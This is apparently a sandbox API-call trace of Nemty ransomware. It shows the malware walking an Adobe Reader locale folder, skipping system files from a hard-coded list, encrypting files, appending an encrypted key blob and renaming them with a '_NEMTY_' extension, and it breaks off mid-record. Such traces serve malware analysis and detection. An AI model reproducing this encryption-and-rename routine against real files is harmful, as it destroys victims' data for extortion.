WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SLV", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SLV", lpUsedDefaultChar=0x0) returned 10 [0183.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SLV", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SLV", lpUsedDefaultChar=0x0) returned 10 [0183.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.834] Sleep (dwMilliseconds=0x5) [0183.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2139f110, dwHighDateTime=0x1d561e8)) [0183.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2139f110, dwHighDateTime=0x1d561e8)) [0183.844] GetLastError () returned 0x0 [0183.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.844] GetLastError () returned 0x0 [0183.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.844] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.844] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.844] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.844] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="y+dzDefT02H7mXeH9pAicll+hIh1HLPD+WppQMLW6cAtaS9PIE00RwMZjO3N+iZi\r\nyBUIvqgaBA0V/jXRbKVodJ2CnN0S9lzOfOM9DcPKZBhqRThW4rWvDiG0bngajEQS\r\nbWt1q9bBzSFlmotTfJ5Rf/zTOf8V56AYcR381RnMBNOfoRWETkSnPu3rONEBeP7W\r\nxxzhgaTFyqHokPCPbBMKE9m6Ypm4+dljCxXwpL3pc7CD7Nse5hCHvjuevOhNehyg\r\n8QYXHNKNmi4aiSm0/4pPSSXha5Som6V9vTvybEaxF/OooD22zsiZ1CYoXEsrP6cG\r\ntyNCOhj86yAmeQXlgMQivQ==\r\n", pcchString=0x653e5dc) returned 1 [0183.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.845] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Annots.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\annots.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.845] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=481280) returned 1 [0183.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0183.845] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.845] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0183.855] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.855] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0183.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.855] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=481280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x75800 [0183.855] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.857] CloseHandle (hObject=0x2e8) returned 1 [0183.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0183.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.857] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Annots.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\annots.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Annots.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\annots.slv._nemty_kgobjgd_")) returned 1 [0183.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0183.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.859] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.SLV", cAlternateFileName="BRDLAN~1.SLV")) returned 1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2=".") returned 1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="..") returned 1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="...") returned 1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="windows") returned -1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="$RECYCLE.BIN") returned 1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="rsa") returned -1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="NTDETECT.COM") returned -1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="ntldr") returned -1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="MSDOS.SYS") returned -1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="IO.SYS") returned -1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="boot.ini") returned 1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="boot.ini") returned 1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="ntuser.dat") returned -1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="desktop.ini") returned -1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="CONFIG.SYS") returned -1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="RECYCLER") returned -1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="BOOTSECT.BAK") returned 1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="bootmgr") returned 1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="programdata") returned -1 [0183.859] lstrcmpiW (lpString1="BRdlang32.SLV", lpString2="appdata") returned 1 [0183.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SLV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SLV", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SLV", lpUsedDefaultChar=0x0) returned 13 [0183.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SLV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SLV", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SLV", lpUsedDefaultChar=0x0) returned 13 [0183.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SLV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SLV", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SLV", lpUsedDefaultChar=0x0) returned 13 [0183.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SLV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SLV", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SLV", lpUsedDefaultChar=0x0) returned 13 [0183.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.860] Sleep (dwMilliseconds=0x5) [0183.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x213eb3d0, dwHighDateTime=0x1d561e8)) [0183.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x213eb3d0, dwHighDateTime=0x1d561e8)) [0183.875] GetLastError () returned 0x0 [0183.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.875] GetLastError () returned 0x0 [0183.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.875] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.875] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.876] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.876] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="07D2NqqjT3ydlWco8F0OalI2lkKHkXcMXSXaF0/WW69U49qRw7IPpLmvuei5a6Wl\r\nvWiKl9WFtvMCtT+YRA0AHvLZs4Pc39I9w15rojYqABKIj/ntj8E8ZbyeYFOz6Zuz\r\nD8IkJgKRBHaa3fNQ3ymg4UDjLcH2oSUoUSkLyCKn8XGT+tHw3UrjLb/Z6HFfba2w\r\n0BoBA4DPJBWl/mwWEq+c9CN5SbmD1KnYDe06vdyes/HGV0bFWSVJ/QsFYXDuE5Ll\r\ngNimJz5P1Gh/PJBTCkoNTLZIpn/Ufftt+P8vGiClGBEj1FVID3ocwCcq2CsGxAz2\r\nNTQlI0tY6Ar/U/+dUDFkqw==\r\n", pcchString=0x653e5dc) returned 1 [0183.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.876] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\BRdlang32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\brdlang32.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.876] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13312) returned 1 [0183.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3400) returned 0x6352c48 [0183.876] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.876] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3400, lpOverlapped=0x0) returned 1 [0183.879] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.879] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3400, lpOverlapped=0x0) returned 1 [0183.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.879] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3400 [0183.879] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.879] CloseHandle (hObject=0x2e8) returned 1 [0183.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.879] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\BRdlang32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\brdlang32.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\BRdlang32.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\brdlang32.slv._nemty_kgobjgd_")) returned 1 [0183.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.880] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.SLV", cAlternateFileName="")) returned 1 [0183.880] lstrcmpiW (lpString1="Checkers.SLV", lpString2=".") returned 1 [0183.880] lstrcmpiW (lpString1="Checkers.SLV", lpString2="..") returned 1 [0183.880] lstrcmpiW (lpString1="Checkers.SLV", lpString2="...") returned 1 [0183.880] lstrcmpiW (lpString1="Checkers.SLV", lpString2="windows") returned -1 [0183.880] lstrcmpiW (lpString1="Checkers.SLV", lpString2="$RECYCLE.BIN") returned 1 [0183.880] lstrcmpiW (lpString1="Checkers.SLV", lpString2="rsa") returned -1 [0183.880] lstrcmpiW (lpString1="Checkers.SLV", lpString2="NTDETECT.COM") returned -1 [0183.880] lstrcmpiW (lpString1="Checkers.SLV", lpString2="ntldr") returned -1 [0183.880] lstrcmpiW (lpString1="Checkers.SLV", lpString2="MSDOS.SYS") returned -1 [0183.880] lstrcmpiW (lpString1="Checkers.SLV", lpString2="IO.SYS") returned -1 [0183.880] lstrcmpiW (lpString1="Checkers.SLV", lpString2="boot.ini") returned 1 [0183.880] lstrcmpiW (lpString1="Checkers.SLV", lpString2="boot.ini") returned 1 [0183.880] lstrcmpiW (lpString1="Checkers.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0183.880] lstrcmpiW (lpString1="Checkers.SLV", lpString2="ntuser.dat") returned -1 [0183.881] lstrcmpiW (lpString1="Checkers.SLV", lpString2="desktop.ini") returned -1 [0183.881] lstrcmpiW (lpString1="Checkers.SLV", lpString2="CONFIG.SYS") returned -1 [0183.881] lstrcmpiW (lpString1="Checkers.SLV", lpString2="RECYCLER") returned -1 [0183.881] lstrcmpiW (lpString1="Checkers.SLV", lpString2="BOOTSECT.BAK") returned 1 [0183.881] lstrcmpiW (lpString1="Checkers.SLV", lpString2="bootmgr") returned 1 [0183.881] lstrcmpiW (lpString1="Checkers.SLV", lpString2="programdata") returned -1 [0183.881] lstrcmpiW (lpString1="Checkers.SLV", lpString2="appdata") returned 1 [0183.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SLV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SLV", 